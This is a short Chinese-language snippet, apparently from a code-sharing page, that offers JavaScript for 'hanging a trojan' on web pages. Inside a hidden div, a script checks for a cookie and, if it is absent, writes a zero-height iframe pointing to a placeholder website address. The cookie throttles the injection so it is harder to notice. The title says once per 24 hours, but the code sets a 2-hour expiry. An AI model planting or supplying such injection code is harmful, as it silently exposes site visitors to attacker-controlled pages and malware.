js cookies 常见网页木马挂马代码 24小时只加载一次

<div style='display:none'> 
<script type="text/javascript"> 
function goad(){ 
var Then = new Date() 
Then.setTime(Then.getTime() + 2*60*60*1000) 
var cookieString = new String(document.cookie) 
var cookieHeader = "Cookier1=" 
var beginPosition = cookieString.indexOf(cookieHeader) 
if (beginPosition != -1){ 
} else 
{ document.cookie = "Cookier1=Filter;expires="+ Then.toGMTString() 
document.write('<iframe src="网站地址" width="50" height="0" frameborder="0"></iframe>'); 
} 
}goad(); 
</script> 
</div>